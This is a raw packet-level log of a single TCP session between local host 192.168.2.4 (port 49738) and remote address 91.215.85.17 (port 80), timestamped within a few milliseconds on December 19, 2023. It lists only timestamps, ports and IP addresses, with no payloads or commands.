Dec 19, 2023 03:22:27.464099884 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.464101076 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.464114904 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.464129925 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.464157104 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.464174986 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.464179039 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.464179039 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.464200020 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.464236975 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.464422941 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.464463949 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.464474916 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.464538097 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.464541912 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.464554071 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.464570999 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.464592934 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.464592934 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.464608908 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.464622974 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.464637041 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.464672089 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.464682102 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.464715958 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.464739084 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.464750051 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.464761019 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.464781046 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.464792013 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.464920998 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.464937925 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.464953899 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.464972973 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.464993000 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.464993000 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.464993000 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.465013027 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.465030909 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.465046883 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.465080976 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.465080976 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.465095997 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.465152979 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.465153933 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.465173006 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.465214014 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.465234041 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.465234041 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.465241909 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.465262890 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.465275049 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.465318918 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.465348005 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.465348005 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.465357065 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.465365887 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.465409040 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.465419054 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.465421915 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.465449095 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.465487003 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.465500116 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.465517044 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.465528965 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.465538025 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.465557098 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.465588093 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.465610027 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.465641975 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.465658903 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.465683937 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.465683937 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.465698957 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.465711117 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.465750933 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.465758085 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.465779066 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.465797901 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.465801001 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.465826035 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.465828896 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.465843916 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.465851068 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.465878010 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.465882063 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.465914011 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.465914965 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.465914965 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.465950012 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.465960026 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.465971947 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.466013908 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.466053009 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.466064930 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.466074944 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.466099977 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.466111898 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.466121912 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.466125011 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.466164112 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.466170073 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.466181993 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.466217995 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.466244936 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.466257095 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.466300011 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.466300011 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.466327906 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.466345072 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.466447115 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.466447115 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.466453075 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.466470003 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.466486931 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.466499090 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.466520071 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.466520071 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.466520071 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.466537952 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.466754913 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.466789007 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.466801882 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.466829062 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.466860056 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.466860056 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.466870070 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.466911077 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.466924906 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.466941118 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.466974020 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.466974020 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.466993093 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.467036009 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.467062950 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.467104912 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.467116117 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.467133045 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.467144966 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.467160940 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.467160940 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.467160940 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.467180014 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.467189074 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.467199087 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.467211008 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.467241049 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.467272043 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.467272043 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.467272043 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.467273951 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.467313051 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.467324018 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.467382908 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.467417002 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.467417002 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.467417002 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.467777967 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.467813969 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.467816114 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.467832088 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.467864037 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.467884064 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.467907906 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.467921972 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.467957020 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.467972994 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.467972994 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.467974901 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.467998028 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.468019962 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.468049049 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.468061924 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.468072891 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.468103886 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.468120098 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.468123913 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.468123913 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.468132973 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.468132973 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.468194008 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.468194008 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.468199015 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.468210936 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.468221903 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.468250036 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.468250036 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.468267918 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.468280077 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.468291998 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.468323946 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.468323946 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.468585014 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.468600988 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.468631983 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.468648911 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.468658924 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.468658924 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.468683958 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.468714952 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.468714952 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.468734026 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.468765974 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.468811989 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.468875885 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.468888998 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.468895912 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.468895912 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.468910933 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.468924046 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.468926907 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.468926907 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.468946934 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.469036102 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.469053030 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.469099045 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.469135046 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.469162941 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.469165087 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.469177008 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.469239950 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.469480991 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.469496965 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.469512939 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.469526052 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.469552994 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.469552994 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.469552994 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.469567060 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.469578028 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.469583988 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.469603062 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.469615936 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.469633102 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.469633102 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.469633102 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.469650030 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.469669104 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.469719887 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.469727039 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.469791889 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.469815016 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.469835997 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.469851017 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.469865084 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.469880104 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.469891071 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.469927073 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.469938993 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.469961882 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.469961882 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.469961882 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.469965935 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.470006943 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.470006943 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.470020056 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.470036983 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.470073938 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.470073938 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.470257044 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.470298052 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.470345020 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.470376015 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.470392942 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.470408916 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.470412970 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.470422029 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.470434904 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.470443010 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.470455885 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.470464945 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.470464945 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.470489025 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.470489025 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.470495939 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.470514059 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.470524073 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.470546961 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.470563889 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.470583916 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.470599890 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.470611095 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.470664024 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.470683098 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.470683098 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.470860004 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.471065998 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.471112013 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.471127987 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.471160889 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.471174955 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.471182108 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.471218109 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.471242905 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.471255064 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.471271038 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.471285105 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.471313000 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.471314907 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.471314907 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.471363068 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.471394062 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.471407890 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.471407890 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.471421957 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.471443892 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.471458912 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.471461058 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.471482038 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.471494913 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.471509933 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.471527100 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.471544981 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.471545935 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.471559048 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.471597910 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.471602917 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.471602917 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.471612930 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.471627951 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.471659899 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.471674919 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.471695900 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.471730947 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.471740961 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.471752882 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.471796036 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.471806049 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.471810102 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.471851110 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.471852064 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.471864939 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.471893072 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.471911907 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.471929073 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.471951962 CET	49738	80	192.168.2.4	91.215.85.17
Dec 19, 2023 03:22:27.471976995 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.471992970 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.472006083 CET	80	49738	91.215.85.17	192.168.2.4
Dec 19, 2023 03:22:27.472044945 CET	80	49738	91.215.85.17	192.168.2.4
